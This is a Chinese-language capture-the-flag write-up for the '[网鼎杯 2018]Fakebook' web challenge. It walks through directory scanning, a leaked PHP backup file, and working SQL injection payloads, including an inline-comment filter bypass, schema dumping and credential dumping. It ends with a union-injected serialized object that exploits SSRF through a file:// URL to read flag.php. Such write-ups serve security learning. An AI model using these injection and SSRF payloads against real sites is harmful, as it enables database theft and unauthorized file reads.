web第32题
[网鼎杯 2018]Fakebook
打开靶场
一个简单的登陆和注册并发布博客的页面
尝试join页面注册始终提示blog is not valid,应该是做了某种限制,又获取不到源码,那直接用dirmap来一波目录扫描看看了
得到2个比较敏感的文件,先访问一下view.php
竟然报错了,而且像是sql的报错
再访问一下robots.txt。这个文件通常用来保存服务器的一些敏感信息
提示了一个.bak后缀的备份文件。直接访问,下载下来
得到user.php的源码
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}
参看函数isValidBlog ()
执行正则匹配,必须以http://或者https://开头
这下知道为什么注册不上了
现在进行注册
发布成功
点进去发现又get方式进行传参,根据上面的报错猜测存在sql注入,直接尝试1’
果然是存在sql注入的
打一波sql注入的常规语句
1.猜解字段数
no=1 order by 4 #
页面正常回显
改为5
报错,说明字段数为4
2.猜解回显点
no=-1 union select 1,2,3,4 #
哦!?看来做了过滤
尝试绕过一下呢,内联注释绕过
no=-1 /*!union*/ select 1,2,3,4 #
页面回显的是第2个字段的位置
并且注意到unserialize()函数报错,说明使用了反序列化,可能还有其他的突破方法
3.查询数据库
no=-1 /*!union*/ select 1,database(),3,4 #
得到数据库名为fakebook
4.查询表名
no=-1 /*!union*/ select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()#
得到表名为users
5.爆字段名
no=-1 /*!union*/ select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users'#
得到字段名:no,username,passwd,data,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS
6.爆数据
no=-1 /*!union*/ select 1,group_concat(no,'--',username,'--',passwd,'--',data),3,4 from users#
爆出数据
可以注意到data字段:O:8:“UserInfo”:3:{s:4:“name”;s:5:“r1cky”;s:3:“age”;i:12;s:4:“blog”;s:22:“https://www.baidu.com/”;}
使用序列化的方式存储用户信息
那么写入数据库时肯定也可以使用反序列化方式写入
通过报错我们知道了网站的绝对路径 /var/www/html/,看了下大佬们的wp,说就在这个路径下有flag.php
构造序列化的语句
得到
O:8:"UserInfo":3:{s:4:"name";s:6:"r1ckyC";s:3:"age";i:21;s:4:"blog";s:29:"file:///var/www/html/flag.php";}
这里的file:///var/www/html/flag.php是借助file协议读取网页内容,利用了代码中存在的ssrf漏洞:(对此不太熟悉,也是看的佬的wp,后面会具体分析一下)
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
注意序列化内容对应的是data字段,所以写在第4个位置。
payload:
原理,union select x,x,x,x 会在数据库中创建一条临时数据
no=-1 /*!union*/ select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:6:"r1ckyC";s:3:"age";i:21;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'#
成功写入,并且给出了base64加密后的数据
解密一下得到flag